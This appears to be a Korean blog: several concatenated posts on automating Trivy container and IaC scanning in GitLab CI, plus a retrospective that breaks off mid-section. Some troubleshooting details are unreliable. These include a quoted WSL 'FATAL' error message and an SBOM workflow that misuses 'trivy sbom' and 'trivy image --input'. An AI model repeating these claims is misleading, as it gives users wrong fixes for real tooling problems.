Windows Subsystem for Linux (WSL) 2 환경에서 Docker Desktop을 사용하지 않고 Trivy를 실행할 때, 저도 처음엔 이게 뭔가 싶었는데 이런 오류 메시지를 만날 수 있어요.
문제 상황:FATAL: Trivy is not supported on Windows Subsystem for Linux (WSL) without Docker Desktop. Please install Docker Desktop or run Trivy in a container.
원인: Trivy가 이미지 스캔을 위해 WSL2의 호스트 Docker 데몬에 접근해야 하는데, Docker Desktop이 설치되어 있지 않아 데몬을 찾지 못하는 경우예요.
해결 방법:
Docker Desktop 설치: 가장 권장되는 방법입니다. Docker Desktop을 설치하면 WSL2와 원활하게 통합되어 Trivy가 Docker 데몬을 쉽게 사용할 수 있어요.
WSL2 내에 Docker Engine 직접 설치: 좀 더 복잡하지만, WSL2 배포판 안에 직접 Docker Engine을 설치하고 실행하는 방법도 있습니다. 이 경우 sudo service docker start 등으로 데몬을 수동으로 시작해야 할 수 있어요.
Trivy를 Docker 컨테이너로 실행: 이 방법은 호스트의 Docker 데몬에 의존하지 않고 Trivy 자체를 컨테이너 안에서 실행하는 방식이라 유용합니다.
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock aquasecurity/trivy:latest image nginx:latest
이 외에도 `–skip-update` 옵션을 사용하여 DB 업데이트를 건너뛸 수 있지만, 이는 오래된 취약점 정보로 스캔하게 되므로 꼭 필요한 경우가 아니면 권장하지 않아요. 보안은 최신 정보가 생명이니까요!
오류 해결 후, 스캔 결과 검증 및 해석
숱한 삽질 끝에 드디어 Trivy 스캔이 성공적으로 완료되었다면, 이제 그 결과를 제대로 해석하는 것이 중요합니다. Trivy는 기본적으로 콘솔에 결과를 출력하지만, JSON, SARIF 등 다양한 포맷으로도 출력할 수 있어서 CI/CD 파이프라인에서 자동화된 분석에 아주 유용하게 쓰여요.
해당 ID로 NVD(National Vulnerability Database) 등에서 상세 정보를 검색하면 돼요.
Installed Version (설치된 버전)
현재 이미지에 포함된 패키지 버전
취약점이 발견된 패키지의 버전입니다.
Fixed Version (수정된 버전)
취약점이 패치된 패키지 버전
이 값이 존재한다면, 해당 버전으로 업데이트해야 해요. Fixed Version이 없으면 대안을 찾아야 합니다.
Title (제목)
취약점에 대한 간략한 설명
취약점의 내용을 빠르게 파악할 수 있어요.
특히 Fixed Version이 존재하는지 여부가 중요합니다. 만약 Fixed Version이 있다면 해당 패키지를 업데이트하는 것으로 대부분의 취약점을 해결할 수 있어요. 예를 들어, Nginx 이미지에서 OpenSSL 취약점이 발견되고 Fixed Version이 특정 버전이라면, Dockerfile에서 Nginx를 빌드할 때 OpenSSL을 해당 버전으로 명시하거나, 베이스 이미지를 최신으로 업데이트하는 등의 조치를 취하면 됩니다.
Dockerfile 예시:
FROM debian:bullseye-slim
# 보안 패치를 포함한 패키지 업데이트
RUN apt-get update && apt-get install -y --no-install-recommends \
openssl \
&& rm -rf /var/lib/apt/lists/*
# ... 나머지 Dockerfile 내용 ...
또한, Trivy가 너무 많은 취약점을 보고하여 혼란스러울 때는 .trivyignore 파일을 활용하여 의도적인 False Positive(오탐)를 무시할 수도 있어요. 하지만 정말 필요한 경우에만 사용해야 하며, 신중하게 결정해야 합니다.
마무리하며: 지속적인 관심이 최고의 보안입니다
오늘은 Trivy 이미지 스캔 시 흔히 발생하는 오류와 해결 방법에 대해 제가 직접 겪었던 경험을 바탕으로 이야기해 봤습니다. 컨테이너 보안은 한 번 설정해두면 끝나는 게 아니라, 새로운 취약점이 끊임없이 발견되므로 지속적인 관심과 관리가 필요해요. Trivy는 이런 지속적인 보안 관리를 위한 훌륭한 도구임이 분명합니다.
Trivy 사용 중 발생할 수 있는 주요 오류 유형과 그 해결책을 요약한 인포그래픽입니다.
만약 여러분의 CI/CD 파이프라인에서 Trivy가 자꾸 에러를 뿜어낸다면, 이 글에서 제시된 해결 방법들을 하나씩 적용해 보세요. 대부분의 문제는 Docker 데몬 권한, 네트워크 설정, 또는 Trivy DB 업데이트 문제에서 비롯됩니다. 특히, Docker 데몬 연결 문제와 레지스트리 인증 문제는 제가 가장 많이 마주쳤던 케이스들이니, 이 부분들을 먼저 확인해 보시는 것을 추천합니다.
저도 여전히 홈랩에서 새로운 기술을 실험하며 삽질을 거듭하고 있습니다. 그 과정에서 얻은 소중한 경험들은 앞으로도 ’13년차의 서버실’ 블로그를 통해 꾸준히 공유해 드릴게요. 다음번에는 Trivy를 이용한 Kubernetes 클러스터 보안 스캔에 대한 이야기를 다뤄볼까 합니다. 그때까지 모두 안전한 컨테이너 환경을 만드시길 바랍니다! 궁금한 점이 있다면 언제든지 댓글로 남겨주세요!
안녕하세요, 13년차 인프라 엔지니어입니다. 요즘 같은 DevOps 환경에서는 CI/CD 파이프라인이 선택이 아닌 필수가 되었죠. 그런데 이렇게 빠르게 빌드하고 배포하는 과정에서 보안(Security)은 제대로 챙기고 계신가요?
현업과 홈랩에서 일하다 보니 느끼는 게, 보안은 항상 뒷전으로 밀리거나 나중에 터지고 나서야 허둥지둥 해결하는 경우가 많더라고요. 특히 컨테이너 이미지는 한 번 빌드되면 어떤 취약점이 있는지 제대로 확인하지 않고 프로덕션 환경에 배포되는 일이 허다합니다. 그러다 터지면… 상상하기도 싫죠.
이런 문제를 미리 막고 싶어서, CI/CD 파이프라인에 보안 취약점 자동 탐지(Automated Vulnerability Scanning)를 도입하는 방법을 계속 고민해왔습니다. 그리고 찾은 게 바로 Trivy(트리비)입니다. 오늘은 Trivy를 활용해서 CI/CD 파이프라인에 컨테이너 이미지 보안 스캔을 자동화하는 방법을 제 경험을 바탕으로 솔직하게 풀어보려 합니다.
참고: 본 글은 보안 학습과 자신이 관리하는 시스템 방어를 위한 교육 목적입니다. 타인의 시스템에 무단 접근하는 행위는 법률상 불법이며 처벌 대상이니 꼭 기억해두세요.
Trivy는 Aqua Security에서 개발한 오픈소스 도구로, 컨테이너 이미지(Container Image), 파일 시스템(Filesystem), Git 저장소(Git Repository) 등 다양한 대상에서 보안 취약점(Security Vulnerabilities)과 잘못된 설정(Misconfigurations)을 찾아줍니다. 가볍고 빠르면서도 정확도가 높아서 많은 개발팀이 애용하고 있거든요.
쉽게 말해, 우리가 만든 컨테이너 이미지 안에 혹시 오래된 라이브러리나 알려진 취약점이 있는 패키지가 포함되어 있지는 않은지, 혹은 Dockerfile이나 Kubernetes 설정 파일에 보안상 위험한 설정이 있지는 않은지 꼼꼼하게 검사해주는 보안 스캐너라고 생각하시면 됩니다. 저도 처음엔 반신반의했는데, 써보고 나서는 정말 감탄했어요.
왜 CI/CD 파이프라인에 보안 스캔을 넣어야 할까요?
DevOps 환경에서는 개발 단계에서부터 보안을 고려하는 Shift-Left Security(시프트 레프트 보안)가 중요합니다. 나중에 터지고 나서 고치려면 시간과 비용이 훨씬 많이 들거든요. 저도 예전에 프로덕션에 배포된 서비스에서 심각한 취약점이 발견돼서 밤샘 작업을 한 기억이 생생합니다.
CI/CD 파이프라인에 Trivy 같은 도구를 넣으면:
조기 발견 및 대응: 개발 초기에 취약점을 발견해서 빠르게 수정할 수 있습니다.
자동화된 검증: 매번 수동으로 검사할 필요 없이, 코드가 푸시될 때마다 자동으로 보안 검증이 이루어집니다.
보안 수준 향상: 잠재적인 보안 위협을 줄여 전체 시스템의 보안 견고성(Security Robustness)을 높일 수 있습니다.
규제 준수: PCI-DSS, HIPAA 같은 특정 산업군의 보안 규제를 준수하는 데 도움이 됩니다.
Trivy 실전 구축! CI/CD 파이프라인에 녹여내기
이제 가장 중요한 실전 구현입니다. 저는 주로 GitLab CI/CD를 사용하는데요, 여기서는 GitLab CI를 예시로 보여드리겠습니다. 다른 CI/CD 도구(GitHub Actions, Jenkins 등)에서도 원리는 비슷하니 응용하시면 됩니다.
1. Trivy 설치 및 기본 스캔 (로컬 환경)
먼저 로컬에서 Trivy가 잘 작동하는지 확인해봐야겠죠? 설치는 정말 간단합니다. 저는 주로 Homebrew를 쓰지만, 다양한 설치 방법이 있어요.
# macOS (Homebrew) 또는 Linux (apt, yum 등 각 배포판 패키지 매니저 활용)
brew install aquasecurity/trivy/trivy
# 또는 Docker로 실행 (설치 없이 바로 사용 가능)
docker run --rm aquasecurity/trivy:latest --version
설치가 완료되면, 이제 컨테이너 이미지를 스캔해봅시다. 저는 테스트용으로 NGINX 공식 이미지를 스캔해볼게요.
trivy image nginx:latest
명령어를 실행하면 NGINX 이미지에 포함된 패키지들의 취약점 목록이 쭉 나올 겁니다. 심각도(Severity)별로 분류되어 있어서 어떤 것부터 고쳐야 할지 한눈에 파악하기 좋더라고요. 처음엔 이 많은 취약점들을 어떻게 다 봐야 하나 당황했는데, 실제로는 Critical이나 High 레벨부터 우선순위를 두고 보면 됩니다.
2. GitLab CI/CD 파이프라인에 Trivy 통합
이제 로컬에서 잘 작동하는 Trivy를 CI/CD 파이프라인에 넣어봅시다. 제 경험상, 컨테이너 이미지를 빌드한 직후, 그리고 레지스트리(Registry)로 푸시하기 전에 스캔하는 것이 가장 효율적이었습니다. 이렇게 하면 취약한 이미지가 레지스트리에 올라가는 것을 사전에 차단할 수 있거든요.
`.gitlab-ci.yml` 파일에 다음과 같은 내용을 추가할 수 있습니다.
stages:
- build
- scan
- deploy
variables:
DOCKER_IMAGE_NAME: my-app
DOCKER_IMAGE_TAG: $CI_COMMIT_REF_SLUG-$CI_COMMIT_SHORT_SHA
# CI_REGISTRY는 GitLab 내장 Registry 주소입니다.
FULL_IMAGE_NAME: $CI_REGISTRY/$CI_PROJECT_PATH/$DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG
build_image:
stage: build
image: docker:latest
services:
- docker:dind
script:
- docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
- docker build -t $FULL_IMAGE_NAME .
- docker push $FULL_IMAGE_NAME
only:
- main
- merge_requests
scan_image_with_trivy:
stage: scan
image:
name: aquasecurity/trivy:latest
entrypoint: [""]
variables:
# Trivy가 취약점 DB를 다운로드 받을 디렉토리. CI/CD 캐시 활용을 위해 설정
TRIVY_CACHE_DIR: ".trivycache"
script:
# 빌드된 이미지를 스캔하기 위해 Docker Registry에 로그인
- trivy --version
- trivy image --ignore-unfixed --severity CRITICAL,HIGH --exit-code 1 $FULL_IMAGE_NAME
cache:
key: "$CI_COMMIT_REF_SLUG-trivy-cache"
paths:
- "$TRIVY_CACHE_DIR"
policy: pull-push
only:
- main
- merge_requests
deploy:
stage: deploy
script:
- echo "Deploying $FULL_IMAGE_NAME"
# 여기에 실제 배포 로직 (Kubernetes, Ansible 등)을 작성합니다.
only:
- main
위 YAML 코드를 보시면, `scan_image_with_trivy`라는 새로운 stage를 추가했습니다. 여기서 주목할 부분은:
image: aquasecurity/trivy:latest: Trivy 공식 Docker 이미지를 사용해서 별도 설치 없이 바로 실행합니다.
--ignore-unfixed: 아직 패치가 나오지 않은 취약점은 결과에서 제외합니다. (이걸 안 하면 리포트가 너무 길어져서 피로도가 높더라고요.)
--severity CRITICAL,HIGH: Critical(치명적)과 High(높음) 심각도의 취약점만 보고합니다. 처음부터 모든 취약점을 잡으려다가는 배보다 배꼽이 더 커질 수 있습니다. 현실적으로 가장 위험한 것부터 처리하는 게 중요하더라고요.
--exit-code 1: Critical 또는 High 심각도의 취약점이 발견되면, 파이프라인을 실패(Exit Code 1)시킵니다. 이게 핵심입니다! 자동으로 취약한 이미지가 다음 단계로 넘어가지 못하게 막는 거죠.
cache: Trivy가 취약점 데이터베이스(DB)를 다운로드하는 시간을 줄이기 위해 캐시를 활용했습니다. CI/CD 환경에서는 캐시 활용이 빌드 시간을 줄이는 데 아주 중요하거든요.
그림 2: GitLab CI/CD에서 Trivy 스캔 작업 실행 및 결과
Trivy 도입 시 주의사항 및 트러블슈팅
Trivy CI/CD 파이프라인을 구축하면서 겪었던 몇 가지 삽질 경험과 해결책을 공유합니다. 혹시 비슷한 문제를 겪으신다면 도움이 될 거예요!
1. False Positive (오탐) 문제
Trivy도 완벽하지 않습니다. 때로는 실제로는 문제가 없는데 취약점으로 보고하는 오탐(False Positive)이 발생하기도 합니다. 특히 개발 초기 단계에서는 이런 오탐 때문에 파이프라인이 계속 실패하면 개발자들의 불만이 커질 수 있거든요.
해결책:.trivyignore 파일을 사용해서 특정 취약점 ID를 무시하거나, --ignore-unfixed 옵션을 활용하여 아직 패치되지 않은 취약점을 제외할 수 있습니다. 예를 들어, CVE-2023-12345라는 특정 취약점 ID를 무시하고 싶다면 .trivyignore 파일에 해당 ID를 한 줄에 하나씩 작성하면 됩니다.
2. 너무 많은 취약점 보고서
처음에는 모든 심각도를 스캔했더니 보고서가 너무 길고, 뭘 먼저 고쳐야 할지 막막하더라고요. 모든 취약점을 한 번에 다 고치려는 건 현실적으로 어렵습니다.
해결책: 앞서 보여드린 것처럼 --severity CRITICAL,HIGH 옵션을 사용해서 가장 위험한 취약점부터 우선적으로 처리하도록 정책을 세우는 것이 좋습니다. 점진적으로 심각도 기준을 높여가는 거죠.
3. Trivy DB 업데이트 실패
CI/CD 환경에서 네트워크 문제나 프록시 설정 때문에 Trivy가 취약점 데이터베이스를 업데이트하지 못하는 경우가 있었습니다. 최신 DB가 아니면 정확한 스캔이 불가능하죠.
해결책: CI/CD Runner가 외부 인터넷에 접근 가능한지 확인하고, 필요한 경우 프록시 환경 변수(HTTP_PROXY, HTTPS_PROXY)를 설정해줘야 합니다. GitLab CI의 경우, variables 섹션에서 설정할 수 있습니다.
또한, trivy image 명령 전에 trivy sbom으로 SBOM(Software Bill Of Materials)을 생성하고, 이를 기반으로 trivy image --input sbom.json 형태로 스캔하는 방식도 고려해볼 수 있습니다. 이는 네트워크 제한 환경에서 유용합니다.
CI/CD 파이프라인 보안 검증: 실제 스캔 결과 및 적용
위 설정대로 파이프라인을 구축하고 나면, 이제 새로운 코드가 푸시되거나 Merge Request(머지 리퀘스트)가 생성될 때마다 자동으로 Trivy 스캔이 실행됩니다. 만약 Critical, High 심각도의 취약점이 발견되면, 스캔 단계에서 파이프라인이 실패하고, 개발자에게 알림이 갑니다. 개발자는 이 알림을 보고 취약점을 수정하거나, 정당한 오탐(False Positive)인 경우 무시 규칙을 추가할 수 있습니다.
실제 GitLab CI/CD 파이프라인에서 성공적으로 스캔이 완료된 모습이나, 혹은 취약점 때문에 파이프라인이 실패한 모습을 보면 정말 뿌듯하더라고요. 저는 주로 이런 식으로 결과를 확인합니다.
그림 3: Trivy 스캔 결과 대시보드 예시
아래는 Trivy의 주요 스캔 대상과 그 특징을 비교한 표입니다. 상황에 따라 적절한 스캔 대상을 선택하는 것이 중요하죠.
스캔 대상 (Scan Target)
설명 (Description)
주요 활용 사례 (Key Use Cases)
장점 (Pros)
고려사항 (Considerations)
image (컨테이너 이미지)
Docker 이미지, OCI 이미지 등 컨테이너 이미지 내부의 패키지 취약점 스캔
CI/CD 파이프라인에서 이미지 빌드 후 즉시 검사, 배포 전 최종 검증
가장 일반적이고 강력한 컨테이너 보안, 배포 전 위험 제거
스캔 시간이 다소 길 수 있음 (레이어 분석), 이미지 레이어 최적화 필요
fs (파일 시스템)
로컬 파일 시스템 또는 압축 파일 내의 취약점 및 설정 오류 스캔
개발 중인 프로젝트 코드 스캔, 특정 디렉토리/파일 검사
빠른 스캔, 개발 초기 단계에서 피드백 제공, CI/CD 전 로컬 검증
전체 컨테이너 환경을 반영하기 어려움, 의존성 설치 환경에 따라 결과 상이
repo (Git 저장소)
Git 저장소의 설정 파일(Dockerfile, Kubernetes YAML)에서 잘못된 설정 스캔
IaC(Infrastructure as Code) 보안 검증, 초기 개발 단계에서 설정 오류 방지
코드 레벨에서 보안 취약점 조기 발견, 설정 파일 검증
코드 내부의 라이브러리 취약점은 탐지 불가, 설정 파일 문법 의존적
그림 4: Trivy 스캔 대상별 특징 비교
마무리하며: Trivy를 통한 지속적인 보안 확보
Trivy를 CI/CD 파이프라인에 통합하는 것은 컨테이너 기반 환경에서 보안을 강화하고, 개발 및 운영 효율성을 높이는 중요한 단계라고 생각합니다. 저도 처음엔 ‘이걸 언제 다 구축하나’ 싶었는데, 한 번 구축해두니 정말 든든하더라고요. 든든한 방패를 얻은 기분이랄까요?
물론 Trivy 하나만으로 모든 보안 위협을 막을 수는 없습니다. 하지만 가장 기본적인 방어선을 구축하고, 자동화된 방식으로 지속적인 보안 검증을 수행한다는 점에서 그 가치는 충분하다고 봅니다. Critical, High 레벨의 취약점만이라도 배포 전에 걸러낼 수 있다면, 야간 비상 호출(On-call) 횟수를 확 줄일 수 있을 거예요. 저도 덕분에 잠을 좀 더 잘 수 있게 됐습니다.
만약 여러분의 CI/CD 파이프라인에 아직 자동화된 보안 스캔이 없다면, 지금 당장 Trivy를 도입해보시길 강력히 추천합니다. 초기에는 오탐이나 너무 많은 보고서 때문에 조금 번거로울 수도 있지만, 꾸준히 규칙을 개선하고 피드백을 반영하다 보면 훨씬 견고하고 효율적인 보안 프로세스를 만들 수 있을 겁니다. 다음번에는 Trivy를 활용한 SBOM(Software Bill Of Materials) 생성 및 관리 방법에 대해 이야기해볼까 합니다. 기대해주세요!
본 글은 보안 학습과 본인이 관리하는 시스템의 방어를 위한 교육 목적입니다. 타인의 시스템에 대한 무단 접근·공격은 불법이며 법적 처벌 대상입니다.
Trivy 도입 회고를 1년치로 다시 적어보면, 제가 얻은 가장 큰 변화는 탐지율보다도 의사결정 방식의 변화였습니다. 전에는 취약점 공지가 뜨면 운영팀이 먼저 불안해했고, 개발팀은 “우리 코드 문제인지 베이스 이미지 문제인지”부터 감으로 추정했었죠. Trivy를 붙인 뒤에는 최소한 그 대화가 구조화됐습니다. 어떤 단계에서 막을지, 무엇을 예외로 둘지, 어떤 결과는 즉시 수정이고 어떤 결과는 추적 대상으로 둘지 기준선이 생겼거든요.
중요한 건 여기입니다. Trivy는 보안을 완성해주는 도구가 아니라, 컨테이너와 IaC 영역에서 팀의 판단을 표준화해주는 도구에 가깝습니다. 이걸 잘못 기대하면 “스캔은 도는데 사고는 왜 나지?”라는 반응이 나오고, 반대로 위치를 정확히 잡으면 릴리스 직전의 불필요한 공황을 꽤 줄여주더라고요. 저도 홈랩과 업무 환경에서 비슷한 패턴으로 굴려보면서, Trivy를 도입한 팀과 그렇지 않은 팀의 차이는 기능 수보다 운영 규칙의 유무에서 갈린다고 느꼈습니다.
이번 글은 단순 사용기가 아니라, 1년 동안 실제로 남은 습관과 버린 습관을 같이 적는 회고입니다. 특히 CI에서 보안 스캔이 형식화되기 쉬운 팀, 결과는 쌓이는데 누구도 우선순위를 정하지 못하는 팀이라면 바로 적용 가능한 형태로 정리해봤습니다.
Trivy 도입 회고와 DevSecOps 워크플로우 변화를 한눈에 보여주는 개요 이미지입니다.
1. 왜 Trivy를 넣었는지: 제가 원한 건 “더 많은 경고”가 아니라 “더 빠른 판별”이었습니다
제가 처음 Trivy를 넣은 이유는 단순했습니다. 컨테이너 이미지를 배포하는 속도는 빨라졌는데, 취약점 확인은 여전히 사람 손을 많이 탔기 때문입니다. 패키지 목록을 보고 CVE를 대조하는 식의 확인은 운영 주기가 짧아질수록 바로 무너지더라고요. 그때 필요한 건 화려한 플랫폼이 아니라, 이미지와 설정을 같은 문법으로 반복 점검할 수 있는 스캐너였습니다.
Trivy가 실무에서 먹히는 이유는 범위가 넓어서가 아니라 도입 순서를 잘게 쪼갤 수 있어서입니다. 이미지 스캔만 먼저 넣고, 이후에 IaC와 secret 탐지로 넓혀도 워크플로우가 크게 흔들리지 않습니다. 반면 SAST나 DAST는 언어, 프레임워크, 런타임, 테스트 환경에 더 강하게 묶이는 경우가 많아서 첫 진입 비용이 큽니다.
다만 여기서 선을 분명히 그어야 합니다. 애플리케이션 로직 취약점, 예를 들면 인증 우회나 권한 검증 실수 같은 건 Trivy가 대신 찾아주지 않습니다. 제 경험상 Trivy는 아래 상황에서 특히 강하고, 아래 상황에서는 과도한 기대를 버리는 편이 맞았습니다.
한마디로 말하면, Trivy는 “전체 보안 솔루션”이 아니라 배포 경로에 가까운 위험을 빠르게 분류하는 도구로 볼 때 가장 실용적이었습니다.
2. Trivy를 1년 써보니 바뀐 DevSecOps 워크플로우
도입 전에는 릴리스 직전에 한 번 몰아서 확인하는 습관이 있었습니다. 이 방식의 문제는 취약점 자체보다 발견 시점이 늦다는 데 있습니다. 이미지 하나에서 HIGH나 CRITICAL이 나와도, 그게 애플리케이션 의존성인지 베이스 이미지 레이어인지 구분하는 데 시간이 들고, 그다음에는 재빌드와 회귀 테스트가 줄줄이 따라옵니다. 보안 이슈가 일정 이슈로 번지는 전형적인 패턴이죠.
Trivy를 붙인 뒤에는 스캔 위치를 늘린 게 아니라, 질문이 다른 세 지점으로 나눴습니다.
개발 중: 지금 만든 변경이 새 위험을 들여왔는가
CI 빌드 단계: 이 커밋은 배포 금지선에 걸리는가
배포 전 또는 정기 점검: 허용한 예외가 아직도 타당한가
이 세 지점을 구분하고 나니 팀 대화가 훨씬 현실적으로 바뀌었습니다. 예전에는 “보안팀이 막았다”는 식으로 받아들였는데, 지금은 “이건 신규 유입이라 지금 고쳐야 한다”, “이건 기존 부채라 추적하되 이번 배포는 진행한다”처럼 이야기할 수 있게 됐습니다.
특히 제가 강하게 느낀 건, 모든 HIGH/CRITICAL을 일괄 차단하는 정책은 생각보다 오래 못 간다는 점입니다. 신규 서비스라면 가능하지만, 오래된 베이스 이미지와 레거시 패키지가 섞인 환경에서는 첫날부터 파이프라인이 전부 빨갛게 변합니다. 그러면 팀이 배우는 게 아니라 우회 방법을 먼저 찾습니다. 그래서 저는 보통 이렇게 권했습니다.
신규 서비스: HIGH, CRITICAL을 바로 게이트로 겁니다
기존 서비스: 우선 JSON 리포트를 남기고 신규 유입분만 차단합니다
IaC 점검: 즉시 차단보다 반복되는 오설정 패턴을 템플릿에서 제거합니다
이 접근이 좋은 이유는 단순합니다. 보안 게이트는 강도보다 지속 가능성이 먼저이기 때문입니다.
3. 실전 구현: 1년 뒤에도 남은 기본 스캔 패턴
처음엔 옵션을 과하게 붙였는데, 시간이 지나고 보니 오래 살아남는 건 단순한 패턴이었습니다. 다만 단순하다고 해서 대충 쓰면 안 됩니다. Trivy는 같은 명령처럼 보여도 어디서 어떤 플래그를 붙이느냐에 따라 해석이 꽤 달라집니다.
3-1. 로컬 이미지 점검: “지금 만든 이미지가 배포 금지선에 걸리는지”만 빠르게 확인
# 사람이 읽기 좋은 표 형태로 확인
trivy image --severity HIGH,CRITICAL --ignore-unfixed --format table my-app:local
# 보안 게이트 용도: 보안 이슈가 있으면 종료 코드 1
trivy image --severity HIGH,CRITICAL --ignore-unfixed --exit-code 1 my-app:local
# 결과를 남겨서 이전 스캔과 비교
trivy image --severity HIGH,CRITICAL --format json --output trivy-image-report.json my-app:local
여기서 제가 실제로 중요하게 본 건 세 가지입니다. --severity는 우선순위 절삭용이고, --exit-code 1은 자동화 제어용이며, --format json --output은 운영 대화용입니다. 스캔 결과를 눈으로만 보고 끝내면 회고가 안 남습니다. 반대로 JSON을 남기면 “원래 있던 위험인지”, “이번 커밋에서 새로 생긴 위험인지”를 구분하기가 쉬워집니다.
또 하나, --ignore-unfixed는 편의 옵션처럼 보이지만 팀 피로도를 크게 좌우합니다. 패치가 아직 없는 항목까지 동일한 톤으로 경고하면 개발자는 금방 무감각해지기 마련입니다. 제가 운영에서 얻은 결론은 이렇습니다. 수정 가능한 위험과 당장 수정 불가능한 위험을 같은 줄에 세우지 마세요. 이 둘은 우선순위가 다릅니다.
3-2. 저장소와 IaC 점검: 여기서 많이 놓치는 건 “기본값의 함정”입니다
Trivy를 처음 붙일 때 많은 팀이 놓치는 포인트가 하나 있습니다. image, fs, repo 계열 스캔에서 misconfiguration 탐지는 기본 활성화가 아닐 수 있다는 점입니다. 즉, 취약점 스캔이 성공했다고 해서 Kubernetes 매니페스트나 Terraform 설정까지 본 게 아닐 수도 있더라고요. 저는 이 부분에서 한 번 크게 헷갈렸고, 이후에는 의도적으로 스캐너 종류를 명시했습니다.
# 파일시스템 기준으로 취약점, 오설정, 비밀값을 같이 확인
trivy fs --scanners vuln,misconfig,secret --severity HIGH,CRITICAL .
# 설정 자체를 집중적으로 볼 때
trivy config .
# JSON 결과를 남겨 후처리
trivy fs --scanners misconfig,secret --format json --output trivy-fs-report.json .
제 경험상 운영 사고는 애플리케이션 코드보다 YAML과 Terraform에서 먼저 터지는 경우가 많았습니다. 예를 들어 보안 컨텍스트 누락, 과도한 capability 허용, 퍼블릭 노출 보안 그룹, 암호화 누락 같은 항목은 코드리뷰에서 지나가도 설정 스캔에서는 반복적으로 잡힙니다. 그래서 Kubernetes나 Terraform 비중이 큰 팀이라면 이미지 스캔보다 trivy config .가 체감 효용이 더 클 수도 있습니다.
빌드, 스캔, 배포 승인 단계로 이어지는 Trivy 기반 CI 흐름을 설명하는 이미지입니다.
3-3. CI 파이프라인 예시: 속도와 신뢰도를 같이 잡으려면 캐시 전략이 먼저입니다
초기에는 매 파이프라인마다 DB를 처음부터 내려받아서 체감 속도가 꽤 나빴습니다. 나중에 알게 된 건, 느린 원인이 Trivy 자체의 스캔 엔진보다도 DB cold start와 캐시 운영 방식에 있는 경우가 많다는 점입니다. 저는 이후에 “업데이트 단계”와 “실제 스캔 단계”를 분리하는 식으로 바꿨습니다.
여기서 핵심은 세 가지입니다. 첫째, --download-db-only로 DB 준비를 분리합니다. 둘째, 실제 스캔에서는 --skip-db-update로 매번 네트워크 병목을 만들지 않습니다. 셋째, 캐시 디렉터리를 명시해 러너별 편차를 줄입니다. 이 패턴은 파이프라인 속도를 위해서도 중요하지만, 더 본질적으로는 팀이 우회하지 않게 만드는 장치입니다.
주의할 점도 있습니다. 로컬 파일 시스템 캐시는 편하지만, 같은 캐시를 여러 프로세스가 동시에 잡는 환경에서는 잠금 문제가 생길 수 있습니다. 현업에서는 이걸 Trivy 오류로 오해하기 쉬운데, 실제 원인은 병렬 러너와 공유 캐시 구조인 경우가 많습니다. 그래서 병렬 잡이 많은 CI라면 캐시 공유 방식을 먼저 점검하는 편이 좋았습니다.
3-4. 예외는 파일이 아니라 계약입니다
예외 처리도 초반에 대충 시작하면 나중에 제일 큰 부채가 됩니다. 제가 권하는 방식은 단순합니다. 예외를 남길 때 ID, 만료일, 이유를 같이 기록하세요. 특히 YAML 기반 ignore 파일은 이 문맥을 남기기에 좋았습니다.
vulnerabilities:
- id: CVE-2023-29491
expired_at: 2026-12-31
statement: Upstream fix is not available yet; tracked in internal patch queue
misconfigurations:
- id: AVD-DS-0002
paths:
- "docs/Dockerfile"
statement: Documentation image intentionally runs as root for example output
제가 이 방식을 선호한 이유는, 예외를 기술 부채로 보이게 만들기 때문입니다. 그냥 .trivyignore에 ID만 추가해두면 몇 달 뒤에는 아무도 왜 허용했는지 기억하지 못합니다. 반면 만료일과 설명이 남아 있으면, 분기 점검 때 예외를 다시 심사할 수 있습니다.
4. 어떤 기준으로 운영했는지: 무조건 차단보다 “신규 유입 차단”이 먼저였습니다
1년 돌리고 나서 가장 확신하게 된 건, 보안 스캔의 성패는 탐지 정확도보다 운영 규칙의 해상도에 달려 있다는 점입니다. 리포트만 잘 뽑아서는 아무 일도 안 일어납니다. 누가 무엇을 보고 언제 막고 언제 예외로 넘길지 정해져야 비로소 도구가 시스템이 됩니다.
운영 단계
스캔 대상
차단 기준
추천 방식
쓰지 말아야 할 방식
초기 도입
컨테이너 이미지
경고만, 차단 없음
리포트 해석 루틴부터 정착
첫날부터 전체 서비스 일괄 차단
안정화 단계
이미지 + IaC
CRITICAL 또는 신규 HIGH
신규 서비스 우선 적용
기존 부채와 신규 유입을 같은 기준으로 처리
정착 이후
이미지 + IaC + secret
정책 위반, 신규 HIGH/CRITICAL, 만료된 예외
예외 만료 관리와 추세 분석 병행
예외를 영구 허용처럼 방치
제가 현장에서 자주 내린 판단은 아래와 같습니다.
exit code 1이 발생했다: 무조건 “보안팀 이슈”가 아니라, 우선 신규 유입인지 기존 누적인지부터 구분합니다
HIGH/CRITICAL이 많다: 애플리케이션 패키지보다 베이스 이미지 교체 가능성을 먼저 봅니다
misconfig 경고가 반복된다: 개별 서비스 수정 대신 템플릿과 헬름 차트 기본값을 손봅니다
secret 탐지가 나왔다: 파일 삭제로 끝내지 말고 키 회전, 배포 환경, Git 히스토리 노출까지 확인합니다
이 기준이 실무적으로 유용했던 이유는 숫자에 덜 매달리게 해주기 때문입니다. 결과 개수는 서비스 성격에 따라 달라집니다. 반면 신규 유입, 반복 패턴, 만료된 예외는 팀의 운영 건강도를 훨씬 잘 보여줍니다.
5. 실제로 겪은 문제들: 속도, 노이즈, 예외 관리, 그리고 가장 흔한 오해
여기부터가 회고의 핵심입니다. 도입 자체보다 오래 가는 실패 모드를 알아야 팀이 덜 지칩니다.
5-1. DB 업데이트 때문에 느려지는 문제
표면적으로는 “Trivy가 느리다”로 보이지만, 근본 원인은 대개 매 잡마다 DB를 새로 받는 구조입니다. 특히 ephemeral runner를 쓰면 이 비용이 더 자주 드러납니다. 제 기준에서는 매 커밋 전체 스캔보다, DB 준비를 분리하고 실제 게이트는 핵심 브랜치나 배포 직전 단계에 두는 쪽이 훨씬 오래 갔습니다.
5-2. 오설정을 본 줄 알았는데 사실 안 본 문제
이건 실무에서 꽤 위험합니다. 취약점 스캔 결과가 잘 나오니까 팀은 “IaC도 같이 봤겠지”라고 생각합니다. 그런데 fs나 image 계열에서 misconfig 스캐너를 명시하지 않으면 기대한 범위를 다 보지 못할 수도 있더라고요. 근본 원인은 도구 성능이 아니라 스캔 범위에 대한 잘못된 가정입니다.
5-3. 수정 불가능한 항목이 너무 많이 보이는 문제
